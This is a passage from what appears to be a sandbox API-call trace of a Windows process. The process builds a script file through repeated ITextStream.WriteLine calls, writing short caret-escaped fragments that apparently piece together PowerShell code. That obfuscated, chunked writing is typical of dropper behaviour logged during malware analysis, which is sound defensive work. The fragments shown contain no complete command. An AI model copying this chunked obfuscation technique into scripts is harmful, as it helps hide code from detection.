_MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.609] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x28, _Source="\"ath; br^\"", _MaxCount=0xa | out: _Destination="ITextStream.WriteLine(\"ath; br^\"") returned 0x0 [0148.609] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ath; br^\"", _SizeInWords=0x28, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ath; br^\");\r\n") returned 0x0 [0148.609] wcsncpy_s (in: _Destination=0x249ca4d3c08, _SizeInWords=0x25, _Source="ITextStream.WriteLine(\"ath; br^\");\r\n", _MaxCount=0x24 | out: _Destination="ITextStream.WriteLine(\"ath; br^\");\r\n") returned 0x0 [0148.609] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.609] free (_Block=0x249ca4476f0) [0148.609] free (_Block=0x249c884ed10) [0148.609] free (_Block=0x249c884a540) [0148.610] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451658*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ath; br^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451658*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ath; br^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.610] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.610] SysReleaseString () returned 0x1 [0148.610] CoTaskMemFree (pv=0x249c87616d0) [0148.610] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.610] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.610] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.610] SysAddRefString () returned 0x0 [0148.610] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.610] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.610] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.610] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767f08, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.610] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87684a8, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.610] malloc (_Size=0x8) returned 0x249c884ee10 [0148.610] malloc (_Size=0x14) returned 0x249ca4477d0 [0148.610] _snwprintf_s (in: _DstBuf=0x249ca4477d0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"eak;}c^\"") returned 9 [0148.611] malloc (_Size=0x4e) returned 0x249c884a540 [0148.611] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.611] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\"eak;}c^\"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\"eak;}c^\"") returned 0x0 [0148.611] wcscat_s (in: _Destination="ITextStream.WriteLine(\"eak;}c^\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"eak;}c^\");\r\n") returned 0x0 [0148.611] wcsncpy_s (in: _Destination=0x249ca4d3c52, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\"eak;}c^\");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"eak;}c^\");\r\n") returned 0x0 [0148.611] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.611] free (_Block=0x249ca4477d0) [0148.611] free (_Block=0x249c884ee10) [0148.611] free (_Block=0x249c884a540) [0148.611] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4516a0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="eak;}c^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4516a0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="eak;}c^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.611] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.611] SysReleaseString () returned 0x1 [0148.611] CoTaskMemFree (pv=0x249c8761b80) [0148.611] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.611] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.611] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.611] SysAddRefString () returned 0x0 [0148.612] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.612] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.612] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.612] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87684a8, pBstrHelpFile=0x249c8758f60*="ꄰ졵ɉ") returned 0x0 [0148.612] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87677e8, pBstrHelpFile=0x249c8758f60*="ꄰ졵ɉ") returned 0x0 [0148.612] malloc (_Size=0x8) returned 0x249c884edf0 [0148.612] malloc (_Size=0xe) returned 0x249ca447730 [0148.612] _snwprintf_s (in: _DstBuf=0x249ca447730, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"atc^\"") returned 6 [0148.612] malloc (_Size=0x48) returned 0x249ca443560 [0148.612] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.612] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"atc^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"atc^\"") returned 0x0 [0148.612] wcscat_s (in: _Destination="ITextStream.WriteLine(\"atc^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"atc^\");\r\n") returned 0x0 [0148.612] wcsncpy_s (in: _Destination=0x249ca4d3c9a, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"atc^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"atc^\");\r\n") returned 0x0 [0148.612] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.612] free (_Block=0x249ca447730) [0148.612] free (_Block=0x249c884edf0) [0148.612] free (_Block=0x249ca443560) [0148.612] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4516e8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="atc^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4516e8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="atc^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.612] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.612] SysReleaseString () returned 0x1 [0148.612] CoTaskMemFree (pv=0x249c87614f0) [0148.612] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.613] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.613] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.613] SysAddRefString () returned 0x0 [0148.613] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.613] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.613] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.613] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87677e8, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.613] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767848, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.613] malloc (_Size=0x8) returned 0x249c884ede0 [0148.613] malloc (_Size=0x12) returned 0x249ca4478b0 [0148.613] _snwprintf_s (in: _DstBuf=0x249ca4478b0, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"h{wri^\"") returned 8 [0148.613] malloc (_Size=0x4c) returned 0x249c884a540 [0148.613] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.613] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"h{wri^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"h{wri^\"") returned 0x0 [0148.613] wcscat_s (in: _Destination="ITextStream.WriteLine(\"h{wri^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"h{wri^\");\r\n") returned 0x0 [0148.613] wcsncpy_s (in: _Destination=0x249ca4d3cdc, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"h{wri^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"h{wri^\");\r\n") returned 0x0 [0148.613] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.613] free (_Block=0x249ca4478b0) [0148.613] free (_Block=0x249c884ede0) [0148.613] free (_Block=0x249c884a540) [0148.614] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451730*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="h{wri^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451730*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="h{wri^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.614] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.614] SysReleaseString () returned 0x1 [0148.614] CoTaskMemFree (pv=0x249c87614f0) [0148.614] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.614] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.614] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.614] SysAddRefString () returned 0x0 [0148.614] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.614] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.614] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.614] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767848, pBstrHelpFile=0x249c8758f60*="ꏰ졵ɉ") returned 0x0 [0148.614] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767f68, pBstrHelpFile=0x249c8758f60*="ꏰ졵ɉ") returned 0x0 [0148.614] malloc (_Size=0x8) returned 0x249c884ed60 [0148.614] malloc (_Size=0x12) returned 0x249ca4476f0 [0148.614] _snwprintf_s (in: _DstBuf=0x249ca4476f0, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"te-ho^\"") returned 8 [0148.614] malloc (_Size=0x4c) returned 0x249c884a540 [0148.615] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.615] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"te-ho^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"te-ho^\"") returned 0x0 [0148.615] wcscat_s (in: _Destination="ITextStream.WriteLine(\"te-ho^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"te-ho^\");\r\n") returned 0x0 [0148.615] wcsncpy_s (in: _Destination=0x249ca4d3d22, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"te-ho^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"te-ho^\");\r\n") returned 0x0 [0148.615] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.615] free (_Block=0x249ca4476f0) [0148.615] free (_Block=0x249c884ed60) [0148.615] free (_Block=0x249c884a540) [0148.615] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="te-ho^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="te-ho^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.615] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.615] SysReleaseString () returned 0x1 [0148.615] CoTaskMemFree (pv=0x249c8761b80) [0148.615] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.615] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.615] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.615] SysAddRefString () returned 0x0 [0148.615] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.615] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.616] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.616] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767f68, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.616] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767fc8, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.616] malloc (_Size=0x8) returned 0x249c884eca0 [0148.616] malloc (_Size=0x16) returned 0x249ca4477f0 [0148.616] _snwprintf_s (in: _DstBuf=0x249ca4477f0, _DstSizeInWords=0xb, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"st $_.E^\"") returned 10 [0148.616] malloc (_Size=0x50) returned 0x249c884a540 [0148.616] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x28, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.616] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x28, _Source="\"st $_.E^\"", _MaxCount=0xa | out: _Destination="ITextStream.WriteLine(\"st $_.E^\"") returned 0x0 